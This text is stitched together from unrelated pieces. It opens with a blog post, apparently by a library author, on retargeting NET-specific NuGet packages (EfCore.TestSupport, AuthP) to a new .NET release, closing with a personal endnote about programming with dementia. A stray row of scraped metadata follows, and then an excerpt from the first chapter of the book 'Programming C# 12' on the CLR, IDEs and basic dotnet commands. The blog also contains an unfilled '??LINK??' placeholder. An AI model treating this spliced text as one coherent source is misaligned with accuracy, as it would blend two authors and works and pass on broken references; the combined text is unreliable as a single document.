Microsoft releases a new .NET version, e.g. .NET 9, every year. This has allowed Microsoft to add new features and improve performance of .NET applications. These yearly releases have allowed .NET to up to date and very fast. But the downside is if you want to update your application to a new .NET version, then you need to upgrade all the NuGets that uses a NET-specific version, e.g. NET 9.
So, if you can’t get every NuGet for the .NET version you are moving to, then your application might not work!
I have six libraries that uses NET-specific that need updating every year. These libraries are listed below, ordered by the most downloaded version coming first.
Sometimes an older NET-specific NuGet version, e.g. .NET 8, will work for a new application using a higher .NET release, e.g. .NET 9. It depends on whether the new .NET version changes some part of the code that the older NuGet uses. I think most of my .NET 8 libraries will work with .NET 9 because my libraries typically use the basic features, but you can’t be sure it will work! If you have a lot of tests to check everything will work with the older NuGens, then it’s MUCH quicker.
I’m assume that most people will want a new NuGet that supports the new .NET version and rest of the rest of the rest of article shows you how to update a library yourself. But first I talk about how I have changed my libraries so that it much easier to update my libraries.
When I created NET-specific libraries I usually created a NuGet which supported multiple .NET versions, for instance EfCore.TestSupport version 6.0.2 supports .NET 6, 7 and 8. The upside of supporting multiple .NETs is that if I add a new feature or fix a bug, then I can release one NuGet with the features/bug fixes that covers multiple .NETs.
But the downside is that it’s very hard to update to a new .NET release for three reasons:
You can’t use the Microsoft Visual Studio’s “NuGet Package Manager” features to update a library. Instead you must manually edit all the .csproj files in the library code. I have been doing this for years and it’s a pain to do.
It’s harder to find / update NuGets with a vulnerability. I found this when .NET 8 had a vulnerability in the System.Data.SqlClient. I had to go through my libraries to select the non-vulnerable replacement, including effected NuGets. You also can’t use the GitHub’s useful dependabot PRs to fix vulnerability, but you must manually edit the .csproj files.
I found it’s harder to find depreciated NuGets because sometimes a NuGet is valid in an older .NET version but is depreciated in the latest .NET version.
To make it easier for me, and you, I changed all my NET-specific libraries to only support one .NET version and fix any vulnerability and removed depreciated NuGets. I applied this to all of my NET-specific libraries and I released new versions of my NET-specific libraries that only support .NET 8.
NOTE: If you are still using .NET version below .NET 8, then the older versions of my libraries are still there for you.
After making my NET-specific libraries simpler to update and cleaner, then the next part shows you how to create a new version of these NuGets if the author (e.g. me!) can’t update the library when another .NET is released.
How to upgrade a NET-specific library to a new .NET version
This (long) section shows how you update a library that hasn’t been updated and the author(s) hasn’t updated to the new .NET version. I only assume you have access to the library’s code, e.g. GitHub, and you have a development application that can edit, compile and test the library’s code, e.g. Visual Studio.
The steps are:
1a. Get the NuGet’s code into your development app
1b. Update the .NET TargetFramework of the library
1c. Update the NuGets
1d. Compile the changed code
1e. Run the unit tests
1f. Update the NuGets information
1g. Create a local .nupkg file
1h. Add a local NuGet source to your application
1a. Get the NuGet’s code into your development app
Nowadays most Microsoft open-source libraries can be found in GitHub, and that’s where my libraries are situated. You usually can find the NuGet’s source code by looking the NuGet via www.nuget.org and clicking the “Source repository” link found on the RHS. Then you need to “Clone” the source code into your Visual Studio app.
Once you have cloned the library, I suggest you compile and run any unit tests before you change anything. This will let you know if something isn’t working, e.g. the unit tests need the database connection string changed to match your setup and give you a set of unit test results to compare with the unit test after you have updated to a new .NET version. See section ??LINK?? if your tests use databases.
Each CS project contains a file ending in .csproj which holds the version or versions that the project can work with. Because I have tidied-up libraries to only have one version, e.g., .NET 8, which means it’s very easy to change – you just have to update the <TargetFramework> line from the old .NET to the new .NET. This is simple to do via Visual Studio’s “Find and Replace>Place in Files” feature, the screenshot below shows how to change a library using .NET 8 to .NET 9.
Once you have clicked the “Replace All” button then each project will be updated to the new .NET version. At this point Visual Studio will show an error (see screenshot below) because Visual Studio can’t handle this change automatically. Clicking the “Reload projects” normally fixes this, but in some cases I had to close Visual Studio and reopen the library again remove the errors.
After the library has been updated to the new .NET, then you need to update all the NuGets in every project in the library. The simplest way to update all the projects’ NuGets is to use Visual Studio’s “Manage NuGets Packages” feature which is found by right-clicking the top “Solution” found in Solution Explorer window. The screenshot below shows the Manage NuGets Packages in Update mode (Note: the screenshot was taken before .NET 9 was released so I turned on “prerelease”, but normally you would have “prerelease” turned off).
The obvious way to update all the NuGets in the library is to select the “Updates” button and tick the “Select all packages” to select all the NuGets to be updated to the latest version. This is it quick and it works, but it’s worth checking that you are using the lowest valid versions of the NuGets in the library – typically the lowest valid version that ends with “0.0”, e.g. 9.0.0. Having higher versions, e.g. 9.0.1, can cause problems if your application has the same NuGet at a lower version (i.e. 9.0.0) but of the same NuGet in the library has. In this case it will show an error saying that NuGet SomeName needs a >= 9.0.1, but your app is using SomeName 9.0.0.
There are a couple of my libraries that have specific versions for some of its NuGets:
EfCore.TestSupport: When updating my EfCore.TestSupport library you don’t want the highest versions of the xunit.core and xunit.assert NuGets. Thats because when Visual Studio creates a xUnit Test Project it doesn’t use the latest xunit versions. I suggest you create a xUnit Test Project via Visual Studio and find the xunit version it uses, then use the same version in EfCore.TestSupport xunit.core and xunit.assert NuGets.
AuthPermissions.AspNetCore: the AuthP library uses Microsoft.Graph version 4, not version 5. Therefore you should select Microsoft.Graph 4.54.0, and NOT the latest 5.?.? versions.
1d. Compile the changed code
Once you have changed the library’s .NET version (step 1b) and updated the NuGets (step 1c) then you are ready to compile the code. I recommend you use the Build>Rebuild Solution to compile the code because changing the version and NuGets have a lot of effects.
Normally the code compiles OK, but in some very rare cases the compile fails. In this case it’s likely that the new .NET version has changed, moved (e.g. changing the method’s name) or removed some code features. In this case you need to see what the problems are and decide what to do about it.
WARNING: In my EfCore.TestSupport library I added a feature called EnsureClean which uses code that is not supported by Microsoft (see this section about EnsureClean and why it might fail). If this occurs, I suggest you remove the SqlServer EnsureClean code and use the normal EnsureDeleted / EnsureCreated approach of creating an empty database for a test. (I like EnsureClean because it makes my database tests run quicker than EnsureDeleted / EnsureCreated).
1e. Run the unit tests
All of my NET-specific libraries have a Test project which uses my EfCore.TestSupport library to test the library. You are looking for every test to be passed, but in some cases I have a failing test to say that a feature that doesn’t work (EfCore.SchemaCompare has one of those). That way I suggested you ran the unit tests on the original library in step 1a because you it will show you what a good run looks like.
NOTE: My EfCore.TestSupport library allows you set up a SQLite in-memory database, and a way to set SqlServer and PostgreSQL connections strings – see this documentation on how this.
To define a NuGet there lots of values you need to provide to create a valid NuGet. For most of my libraries there is one project file (.csproj) in the code that contains the setting to create a NuGet file. For instance the EfCore.TestSupport NuGet has the NuGet information in the TestSupport.csproj file. So before you compile the library you need to update three values to create a new version, as shown below.
In the case of the AuthP library, which has multiple projects going into a NuGet, I had to create a dotnet tool called JonPSmith.MultiProjPack, found in nuget.org. This used a file called MultiProjPack.xml in the AuthP and the values you need to change are:
1g. Create a local .nupkg file
All my libraries, apart from AuthP, are designed create a NuGet .nupkg file on every compile. You want to be in “Release” mode when compiling to create a NuGet because it will create a smaller and faster NuGet file (“Debug” NuGets are useful if you want to see debug information from the NuGet).
On compile in “Release” mode the NuGet file will be created in:
…<SolutionName>\<PrimaryProjectName>\bin\Release\<NuGetName>. nupkg
And here is a real example of my EfCore.TestSupport NuGet:
…\EfCore.TestSupport\TestSupport\bin\Release\EfCore.TestSupport.8.0.1.nupkg
In the case of the AuthP library, which has multiple projects to create the NuGet, I created a dotnet tool called JonPSmith.MultiProjPack to create the .nupkg file. The “How to create an AuthPermissions.AspNetCore NuGet package” in the AuthP’s ReadMe file shows how to install and run this dotnet tool.
NOTE: You can read about why I create the JonPSmith.MultiProjPack dotnet tool in the ReadMe of the code.
TIP: I recommend using the NuGet Package Explorer app to check that the NuGet Package you just created has the settings / information that you was expecting.
1h. Add a local NuGet .nupkg file source to your application
The previous step created the NuGet .nupkg file, but to use this file you need to setup Visual Studio’s NuGet Package Manager to handle local .nupkg files. Typically you would get NuGets via the https://www.nuget.org app, but Visual Studio’s NuGet Package Manager has a way to find NuGet from a directory on your development computer.
To use this “local NuGets” feature you need to:
Create a directory to hold the local NuGets. My local NuGet directory is called “LocalNuGet” in my user account, i.e. C:\Users\JonPSmith\LocalNuGet.
Then you manually copy the new .nupkg file in the Project > bin > Release directory to your local NuGet directory you set up in the last step.
You need go into the Options>NuGet Package Manager>Package Sources and add a new source where source is a directory on your development computer – see the screenshot below.
After that you can click on the “Package source” and select the “Local NuGet” you can access to the local NuGet(s) you updated. That allows you to update your application’s NuGets using the normal NuGets via https://www.nuget.org and local NuGets you created yourself on your local computer.
NOTE: In the case of the AuthP library, the MultiProjPack dotnet tool automatically copies the new NuGet to the “{USERPROFILE}\LocalNuGet” directory.
Conclusion
It would be great if all the NET-specific NuGets you use are always updated when a new .NET version comes out, but sometimes they aren’t. That usually means the author(s) should update a NET-specific NuGet and then add it into the https://www.nuget.org application. But in my case, I know that some time I won’t be able update my libraries, which would be a pity for people who use my libraries.
I hope I’ll be able to still do programming for years, but with dementia you just don’t know. That’s why I created this article now while I’m doing well so that you‘re covered if I’m not around. The other reason for me to keep programming is that it helps me to counter dementia’s degrading of my brain – see the ENDNOTE dementia and programming after this conclusion.
One thing I would say is please don’t try to help me by sending me random Pull Requests. Even before I had dementia, I found some Pull Requests with no information, and typically no test results, and it takes me time to work out what the PR does and is it useful. The really good improvements come from someone opening an issue or PR with a conversation with me to work out what is the best way to do this – this PR as an example.
ENDNOTE dementia and programming
It was my programming that alerted me that something had changed. Normally I can hold all of parts of the code in my head, and I would instinctively know where to go and what to do, but in 2022 I found I couldn’t hold the code in my head, which was devastating! It took over a year to get the diagnosis of dementia in Alzheimer’s disease which I got in early 2024. NOTE: Currently there are no known cures for Alzheimer’s.
Once I had the diagnosis there was no one to tell me what this means for me, so I googled “Alzheimer’s disease” and it wasn’t nice, or useful. Thankfully a friend who is a dementia nurse came over and talked about what is happening to me. They didn’t sugar-coat the future, but they said what will happen and what I could do to slow down my decline. Thankfully my programming changing meant that I caught the dementia early (most people are diagnosed in the middle stage of dementia) so had time to work on things.
From my perspective the best suggestion my nurse friend gave me was Cognitive Stimulation Therapy (CST). The core of CST is that you tackle jobs that are hard, but ones you can complete. The typical suggestions to do crossword puzzles, Sudoku, Rubik’s Cube, etc. I do some of these but for me the best CST work is programming! I had to change my approach to programming to counter the dementia’s symptoms, for instance:
Because dementia affects my memory I have to use lists of the things to do and tick them off when I have done them (I rarely used worklists before).
Because dementia affects problem-solving I must accept that I will be slower when programming. I was very fast before (so my clients said) but now I’m five times slower or more.
I also have to handle the frustrations when I can’t do something I could before, or it took longer than before. I have found that trying to something while I’m frustrated will usually fail and I will feel bad. I have to accept my situation and enjoy the things I can do.
A concrete example of how this works can been in this article and the many months of thinking, coding, and writing. I starting my cleaning with my biggest library, AuthP library, which has 20 projects including seven example applications. During cleaning the AuthP library I felt I regained some of programming skills that I had before dementia, for instance I started get back a similar feeling that I could hold “the code is in my head” came back. That was a WONDERFUL feeling to see some of damage from dementia could be rolled back.
But on the other hand I now do need a worklist to help me manage the whole cleanup and update process, which covers many months. And I had to accept that I’m slower at programming, but the good news I that I CAN still code.
While I focused on dementia and programming because my blog is about programming, but I also have lots of other things outside programming, like talking to people to keep my speech up and using apps to make sure I remember things and dates. In fact writing this article is another CST’s “hard, but possible” job, especially as one part of dementia’s symptoms is not remembering words.
Thanks for reading this.
|
|||||||
8582
|
dbpedia
|
2
| 9
|
https://www.oreilly.com/library/view/programming-c-12/9781098158354/ch01.html
|
en
|
Programming C# 12 [Book]
|
https://www.oreilly.com/library/cover/9781098158354/1200w630h/
|
https://www.oreilly.com/library/cover/9781098158354/1200w630h/
|
[
"https://cdn.oreillystatic.com/images/sitewide-headers/oreilly_logo_mark_red.svg",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0101.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0102.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0103.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0104.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0105.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0106.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0107.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0108.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0109.png",
"https://www.oreilly.com/api/v2/epubs/9781098158354/files/assets/pc12_0110.png",
"https://cdn.oreillystatic.com/oreilly/images/app-store-logo.png",
"https://cdn.oreillystatic.com/oreilly/images/google-play-logo.png",
"https://cdn.oreillystatic.com/oreilly/images/roku-tv-logo.png",
"https://cdn.oreillystatic.com/oreilly/images/amazon-appstore-logo.png",
"https://cdn.oreillystatic.com/images/sitewide-headers/oreilly_logo_mark_red.svg",
"https://cdn.oreillystatic.com/oreilly/images/report-software-architecture-patterns-553x420.jpg",
"https://cdn.oreillystatic.com/oreilly/images/laptop-flat-topics-ml-1124x638.png"
] |
[] |
[] |
[
""
] | null |
[
"Ian Griffiths"
] | null |
Chapter 1. Introducing C# The C# programming language (pronounced “see sharp”) is used for many kinds of applications, including websites, cloud-based systems, artificial intelligence, IoT devices, desktop applications, embedded controllers, … - Selection from Programming C# 12 [Book]
|
en
|
//www.oreilly.com/favicon.ico
|
O’Reilly Online Learning
|
https://www.oreilly.com/library/view/programming-c-12/9781098158354/ch01.html
|
Why C#?
Although there are many ways you can use C#, other languages are always an option. Why might you choose C# over those? It will depend on what you need to do and what you like and dislike in a programming language. I find that C# provides considerable power, flexibility, and performance and works at a high enough level of abstraction that I don’t expend vast amounts of effort on little details not directly related to the problems my programs are trying to solve.
Much of C#’s power comes from the range of programming techniques it supports. For example, it offers object-oriented features, generics, and functional programming. It supports both dynamic and static typing. It provides powerful list- and set-oriented features, thanks to Language Integrated Query (LINQ). It has intrinsic support for asynchronous programming. Moreover, the various development environments that support C# all offer a wide range of productivity-enhancing features.
C# provides options for balancing ease of development against performance. The runtime has always provided a garbage collector (GC) that frees developers from much of the work associated with recovering memory that the program is no longer using. A GC is a common feature in modern programming languages, and while it is a boon for most programs, there are some specialized scenarios where its performance implications are problematic. That’s why C# also enables more explicit memory management, giving you the option to trade ease of development for runtime performance but without the loss of type safety. This makes C# suitable for certain performance-critical applications that for years were the preserve of less safe languages such as C and C++.
Languages do not exist in a vacuum—high-quality libraries with a broad range of features are essential. Some elegant and academically beautiful languages are glorious right up until you want to do something prosaic, such as talking to a database or determining where to store user settings. No matter how powerful a set of programming idioms a language offers, it also needs to provide full and convenient access to the underlying platform’s services. C# is on very strong ground here, thanks to its runtime, built-in class libraries, and extensive third-party library support.
.NET encompasses both the runtime and the main class libraries that C# programs use. The runtime part is called the Common Language Runtime (usually abbreviated to CLR) because it supports not just C# but any .NET language. Microsoft also offers Visual Basic, F#, and .NET extensions for C++, for example. The CLR has a Common Type System (CTS) that enables code from multiple languages to interoperate freely, which means that .NET libraries can normally be used from any .NET language—F# can consume libraries written in C#, C# can use Visual Basic libraries, and so on.
There is an extensive set of class libraries built into .NET. These have gone by a few names over the years, including Base Class Library (BCL), Framework Class Library, and framework libraries, but Microsoft now seems to have settled on runtime libraries as the name for this part of .NET. These libraries provide wrappers for many features of the underlying operating system (OS), but they also provide a considerable amount of functionality of their own, such as collection classes and JSON processing.
The .NET runtime class libraries are not the whole story—many other systems provide their own .NET libraries. For example, there are libraries that enable C# programs to use popular cloud services. As you’d expect, Microsoft provides comprehensive .NET libraries for working with services in its Azure cloud platform. Likewise, Amazon provides a fully featured development kit for using Amazon Web Services (AWS) from C# and other .NET languages. And libraries do not have to be associated with particular services. There’s a large ecosystem of .NET libraries, some commercial and some free, including mathematical utilities, parsing libraries, and user interface (UI) components, to name just a few. Even if you get unlucky and need to use an OS feature that doesn’t have any .NET library wrappers, C# offers various mechanisms for working with other kinds of APIs, such as the C-style APIs available in Win32, macOS, and Linux, or APIs based on the Component Object Model (COM) in Windows.
In addition to libraries, there are also numerous application frameworks. .NET has built-in frameworks for creating web apps and web APIs, desktop applications, and mobile applications. There are also open source frameworks for various styles of distributed systems development, such as high-volume event processing with Reaqtor or high-availability globally distributed systems with Orleans.
Finally, with .NET having been around for over two decades, many organizations have invested extensively in technology built on this platform. So C# is often the natural choice for reaping the rewards of these investments.
In summary, C# gives us a strong set of abstractions built into the language, a powerful runtime, and easy access to an enormous amount of library and platform functionality.
Managed Code and the CLR
C# was the first language designed to be a native in the world of the CLR. This gives C# a distinctive feel. It also means that if you want to understand C#, you need to understand the CLR and the way in which it runs code.
For years, the most common way for a compiler to work was to process source code and to produce output in a form that could be executed directly by the computer’s CPU. Compilers would produce machine code—a series of instructions in whatever binary format was required by the kind of CPU the computer had. This is sometimes referred to as native code, because it’s the language the CPU inherently understands. Many compilers still work this way, but although we can compile C# into machine code, we often don’t. This is optional because C# uses a model called managed code.
With managed code, the compiler does not generate the machine code that the CPU executes. Instead, the compiler produces a form of binary code called the intermediate language (IL). The executable binary is produced later, usually, although not always, at runtime. The use of IL enables features that are hard or even impossible to provide under the more traditional model.
Perhaps the most visible benefit of the managed model is that the compiler’s output is not tied to a single CPU architecture. For example, the Intel and AMD CPUs used in many modern computers support both 32-bit and 64-bit instruction sets (known, respectively, for historical reasons as x86 and x64). With the old model of compiling source code into machine language, you’d need to choose which of these to support, building multiple versions of your component if you need to target more than one. But with .NET, you can build a single component that can run without modification in either 32-bit or 64-bit processes. The same component could even run on completely different architectures such as ARM (a processor architecture widely used in mobile phones, Macs with Apple Silicon, and also in tiny devices such as the Raspberry Pi). With a language that compiles directly to machine code, you’d need to build different binaries for each of these, or in some cases you might build a single file that contains multiple copies of the code, one for each supported architecture. With .NET, you can compile a single component that contains just one version of the code, and it can run on any of them. It would even be able to run on platforms that weren’t supported at the time you compiled the code if a suitable runtime became available in the future. (For example, .NET components written years before Apple released its first ARM-based Macs can run without relying on the Rosetta translation technology that normally enables older code to work on the newer processors.)
More generally, any kind of improvement to the CLR’s code generation—whether that’s support for new CPU architectures or just performance improvements for existing ones—instantly benefits all .NET languages. For example, older versions of the CLR did not take advantage of the vector processing extensions available on modern processors, but the current versions will now often exploit these when generating code for loops. All code running on current versions of .NET benefits from this, including components that were compiled years before this enhancement was added.
The exact moment at which the CLR generates executable machine code can vary. By default, it uses an approach called just-in-time (JIT) compilation, in which each individual function’s machine code is generated the first time it runs. However, it doesn’t have to work this way. One of the runtime implementations, called Mono, is able to interpret IL directly without ever converting it to runnable machine language, which is useful on platforms such as iOS where legal constraints may prevent JIT compilation. The .NET Software Development Kit (SDK) also provides ways to build precompiled code alongside the IL. This ahead-of-time (AOT) compilation can improve an application’s startup time.
Note
Generation of executable code can still happen at runtime. The CLR’s tiered compilation feature may choose to recompile a method dynamically to optimize it better for the ways it is being used at runtime, and it can do this even when you use AOT compilation because the IL is still available at runtime.
The .NET SDK offers a more extreme option called Native AOT. Instead of combining IL and native code, applications built with Native AOT contain only native code.1 Runtime features including the garbage collector and any runtime library components the application requires are included in the output, making Native AOT applications completely self-contained. (The bundled runtime features do not include the JIT compiler. It’s unnecessary, because all IL is compiled to machine language at build time.) Unlike with other .NET compilation models, Native AOT applications do not need a copy of the .NET runtime to be either preinstalled or shipped alongside the application code. Not all applications can use Native AOT, because some .NET libraries exploit the CLR’s ability to JIT compile code by generating new code at runtime, so these don’t work (or have limited functionality) on Native AOT. But in cases where it is applicable, it can dramatically lower startup times for applications that are able to use it.
Managed code has ubiquitous type information. The .NET runtime requires this to be present to enable certain features. For example, .NET offers various automatic serialization services, in which objects can be converted into binary or textual representations of their state, and those representations can later be turned back into objects, perhaps on a different machine. This sort of service relies on a complete and accurate description of an object’s structure, something that’s guaranteed to be available in managed code. Type information can be used in other ways. For example, unit test frameworks can use it to inspect code in a test project and discover all of the unit tests you have written. These kinds of features typically rely on the CLR’s reflection services, which are the topic of Chapter 13. However, Native AOT imposes some restrictions—full type information is available at the point where Native AOT starts to generate native code, but unless it can deduce that your code will rely on that type information at runtime, it will often trim some of this out. This makes the compiled output significantly smaller, which can improve startup times, but it also means that by default, the final output might have an incomplete picture, which is another reason not all libraries work with Native AOT. However, the .NET team intends to make Native AOT viable for as many applications as possible, which is why the last few versions of the .NET SDK have added compile-time code generation features that can reduce the reliance on runtime reflection. For example, it can generate code enabling the JSON libraries described in Chapter 15 to perform serialization without using reflection. This still relies on full type information being available for all .NET code during the build process; it just enables it to be dropped from the final build output.
Although C#’s close connection with the runtime is one of its main defining features, it’s not the only one. There’s a certain philosophy underpinning C#’s design.
C# Prefers Generality to Specialization
C# favors general-purpose language features over specialized ones. C# is now on its 12th major version, and with every release, the language’s designers had specific scenarios in mind when designing new features. However, they have always tried hard to ensure that each element they add is useful beyond these primary scenarios.
For example, several years ago, the C# language designers decided to add features to C# to make database access feel well integrated with the language. The resulting technology, Language Integrated Query (LINQ, described in Chapter 10), certainly supports that goal, but they achieved this without adding any direct support for data access to the language. Instead, the design team introduced a series of quite diverse-seeming capabilities. These included better support for functional programming idioms, the ability to add new methods to existing types without resorting to inheritance, support for anonymous types, the ability to obtain an object model representing the structure of an expression, and the introduction of query syntax. The last of these has an obvious connection to data access, but the rest are harder to relate to the task at hand. Nonetheless, these can be used collectively in a way that makes certain data access tasks significantly simpler. But the features are all useful in their own right, so as well as supporting data access, they enable a much wider range of scenarios. For example, these additions made it much easier to process lists, sets, and other groups of objects, because the new features work for collections of things from any origin, not just databases.
One illustration of this philosophy of generality was a language feature that was prototyped for C# but which its designers ultimately chose not to go ahead with. The feature would have enabled you to write XML directly in your source code, embedding expressions to calculate values for certain bits of content at runtime. The prototype compiled this into code that generated the completed XML at runtime. Microsoft Research demonstrated this publicly, but this feature didn’t ultimately make it into C#, although it did later ship in another .NET language, Visual Basic, which also got some specialized query features for extracting information from XML documents. Embedded XML expressions are a relatively narrow facility, only useful when you’re creating XML documents. As for querying XML documents, C# supports this functionality through its general-purpose LINQ features, without needing any XML-specific language features. XML’s star has waned since this language concept was mooted, having been usurped in many cases by JSON (which may well be eclipsed by something else in years to come). Had embedded XML made it into C#, it would by now feel like an anachronistic curiosity.
The new features added in subsequent versions of C# continue in the same vein. For example, the relatively new range syntax (described in Chapter 5) was motivated partly by some machine learning and AI scenarios, but the feature is not limited to any particular application area. Likewise, generic math is one of the more significant new capabilities in C# 11.0, but it is enabled by some general-purpose enhancements of the type system.
Visual Studio, Visual Studio Code, and JetBrains Rider
Microsoft offers two desktop development environments: Visual Studio Code and Visual Studio. Both provide the basic features—such as a text editor, build tools, and a debugger—but Visual Studio provides the most extensive support for developing C# applications, whether those applications will run on Windows or other platforms. It has been around the longest—for as long as C#—so it comes from the pre–open source days and continues to be a closed-source product. The various editions available range from free to eye-wateringly expensive. Microsoft is not the only option: the developer productivity company JetBrains sells a fully fledged .NET IDE called Rider, which runs on Windows, Linux, and macOS.
Visual Studio is an Integrated Development Environment (IDE), so it takes an “everything included” approach. In addition to a fully featured text editor, it offers visual editing tools for UIs. There is deep integration with source control systems such as Git and with online systems such as GitHub and Microsoft’s Azure DevOps system that provide source repositories, issue tracking, and other Application Lifecycle Management (ALM) features. Visual Studio offers built-in performance monitoring and diagnostic tools. It has various features for working with applications developed for and deployed to Microsoft’s Azure cloud platform. It has the most extensive set of refactoring features out of the three Microsoft environments described here. Note that this version of Visual Studio runs only on Windows.
The JetBrains Rider IDE is a single product that runs on Windows, macOS, and Linux. It is more focused than Visual Studio, in that it was designed purely to support .NET application development. (Visual Studio also supports C++.) It has a similar “everything included” approach, and it offers a particularly powerful range of refactoring tools.
Visual Studio Code (often shortened to VS Code) was first released in 2015. It is open source and cross platform, supporting Linux as well as Windows and Mac. It is based on the Electron platform and is written predominantly in TypeScript. (This means that VS Code really is the same program on all operating systems.) VS Code is a more lightweight product than Visual Studio: a basic installation of VS Code has little more than text editing support. However, as you open up files, it will discover downloadable extensions that, if you choose to install them, can add support for C#, F#, TypeScript, PowerShell, Python, and a wide range of other languages. (The extension mechanism is open, so anyone who wants to can publish an extension.) So although in its initial form it is less of an IDE and more like a simple text editor, its extensibility model makes it pretty powerful. The wide range of extensions has led to VS Code becoming remarkably popular outside of the world of Microsoft languages, and this in turn has encouraged a virtuous cycle of even greater growth in the range of extensions.
Visual Studio and JetBrains Rider offer the most straightforward path to getting started in C#—you don’t need to install any extensions or modify any configuration to get up and running. However, Visual Studio Code is available to a wider audience, so I’ll be using that in the quick introduction to working with C# that follows. The same basic concepts apply to all environments, though, so if you will be using Visual Studio or Rider, most of what I describe here still applies.
Tip
You can download Visual Studio Code for free. You will also need to install the .NET SDK. If you are using Windows and would prefer to use Visual Studio, you can download the free version of Visual Studio, called Visual Studio Community. This will install the .NET SDK for you, as long as you select at least one .NET workload during installation.
Any nontrivial C# application will have multiple source code files, and these will belong to a project. Each project builds a single output, or target. The build target might be as simple as a single file—a C# project could produce an executable file or a library, for example—but some projects produce more complicated outputs. For instance, some project types build websites. A website will normally contain multiple files, but collectively, these files represent a single entity: one website. Each project’s output will be deployed as a unit, even if it consists of multiple files.
Executables typically have a .exe file extension in Windows, while libraries use .dll (historically short for dynamic link library). With .NET, however, all code goes into .dll files, even on macOS and Linux. The SDK can also generate a host executable (with a .exe extension on Windows), but this just starts the runtime and then loads the .dll containing the main compiled output. (It’s slightly different if you target .NET Framework: that compiles the application directly into a self-bootstrapping .exe with no separate .dll.) In any case, the only difference between the main compiled output of an application and a library is that the former specifies an application entry point. Both file types can export features to be consumed by other components. These are both examples of assemblies, the subject of Chapter 12. (If you use Native AOT you will end up with a .exe on Windows and a similarly executable binary on other platforms, but Native AOT essentially works as an extra final step: it takes the various .dll files produced by the normal .NET build process and compiles these into a single native executable.)
C# project files have a .csproj extension, and if you examine these files with a text editor, you’ll find that they contain XML. A .csproj file describes the contents of the project and configures how it should be built. The Visual Studio and Rider IDEs know how to process these, and so do the .NET extensions for VS Code. They are also understood by various command-line build utilities such as the dotnet command-line tool installed by the .NET SDK, and also Microsoft’s older MSBuild tool. (MSBuild supports numerous languages and targets, not just .NET. In fact, when you build a C# project with the .NET SDK’s dotnet build command, it is effectively a wrapper around MSBuild.)
You will often want to work with groups of projects. For example, it is good practice to write tests for your code, but most test code does not need to be deployed as part of the application, so you would typically put automated tests into separate projects. And you may want to split up your code for other reasons. Perhaps the system you’re building has a desktop application and a website, and you have common code you’d like to use in both applications. In this case, you’d need one project that builds a library containing the common code, another producing the desktop application executable, another to build the website, and three more projects containing the tests for each of the main projects.
The build tools and IDEs that understand .NET help you work with multiple related projects through what they call a solution. A solution is a file with a .sln extension, defining a collection of projects. While the projects in a solution are usually related, they don’t have to be.
If you’re using Visual Studio, be aware that it requires projects to belong to a solution, even if you have only one project. Visual Studio Code is happy to open a single project if you want, but its .NET extensions also recognize solutions.
A project can belong to more than one solution. In a large codebase, it’s common to have multiple .sln files with different combinations of projects. You would typically have a main solution that contains every single project, but not all developers will want to work with all the code all of the time. Someone working on the desktop application in our hypothetical example will also want the shared library but probably has no interest in loading the web project.
I’ll show how to create a new project, open it in Visual Studio Code, and run it. I’ll then walk through the various features of a new C# project as an introduction to the language. I’ll also show how to add a unit test project and how to create a solution containing both projects.
Anatomy of a Simple Program
Once you’ve installed the .NET 8.0 SDK either directly or by installing an IDE, you can create a new .NET program. Start by creating a new directory called HelloWorld on your computer to hold the code. Open up a command prompt and ensure that its current directory is set to that, and then run this command:
dotnet new console
This makes a new C# console application by creating two files. It creates a project file with a name based on the parent directory: HelloWorld.csproj in this case. And there will be a Program.cs file containing the code. If you open that file up in a text editor, you’ll see it’s pretty simple, as Example 1-1 shows.
Example 1-1. Our first program
// See https://aka.ms/new-console-template for more information Console.WriteLine("Hello, World!");
You can compile and run this program with the following command:
dotnet run
As you’ve probably already guessed, this will display the text Hello, World!, the traditional behavior for the opening example in any programming book.
Over half of this example is just a comment. The second line here is all you need, with the first just showing a link explaining the “new” style this project uses. It’s not all that new anymore—it came in with the .NET 6.0 SDK—but there was a significant change in the language, and the .NET SDK authors felt it necessary to provide an explanation. The last few versions of C# have added various features intended to reduce the amount of boilerplate. Boilerplate is the name used to describe code that needs to be present to satisfy certain rules or conventions but that looks more or less the same in any project. For example, C# requires code to be defined inside a method, and a method must always be defined inside a type. You can see evidence of these rules in Example 1-1. To produce output, it relies on the .NET runtime’s ability to display text, which is embodied in a method called WriteLine. But we don’t just say WriteLine because C# methods always belong to types, which is why the code qualifies this as Console.WriteLine.
Any C# code that we write is subject to the rules, so our code that invokes the Console.WriteLine method must itself live inside a method inside a type. And in the majority of C# code, this would be explicit: in most cases, you’ll see something a bit more like Example 1-2.
Example 1-2. “Hello, World!” with visible boilerplate
using System; namespace HelloWorld; internal class Program { private static void Main(string[] args) { Console.WriteLine("Hello, World!"); } }
There’s still only one line here that defines the behavior of the application, and it’s the same as in Example 1-1. The obvious advantage of the first example is that it lets us focus on what our program actually does, although the downside is that quite a lot of what’s going on becomes invisible. With the explicit style in Example 1-2, nothing is hidden. Example 1-1 uses the top-level statement style, but the compiler still puts the code in a method defined inside a type called Program; it’s just that you can’t see that from the code. With Example 1-2, the method and type are clearly visible.
The C# boilerplate reduction feature that enables us to dive straight in with the code is just for the program entry point. When you’re writing the code you want to execute whenever your program starts, you don’t need to define a containing class or method. But a program has only one entry point, and for everything else, you still need to spell it out. So in practice, most C# code looks more like Example 1-2 than Example 1-1, and with older codebases even the program entry point will use this explicit style.
Since real projects involve multiple files, and usually multiple projects, let’s move on to a slightly more realistic example. I’m going to create a program that calculates the average (the arithmetic mean, to be precise) of some numbers. I will also create a second project that will automatically test our first one. Since I’ve got two projects, this time I’ll need a solution. I’ll create a new directory called Averages. If you’re following along, it doesn’t matter where it goes, although it’s a good idea not to put it inside the HelloWorld project’s directory. I’ll open a command prompt in the Averages directory and run this command:
dotnet new sln
This will create a new solution file named Averages.sln. (By default, dotnet new usually names new projects and solutions after their containing directories, although you can specify other names.) Now I willll add the two projects I need with these two commands:
dotnet new console -o Averages dotnet new mstest -o Averages.Tests
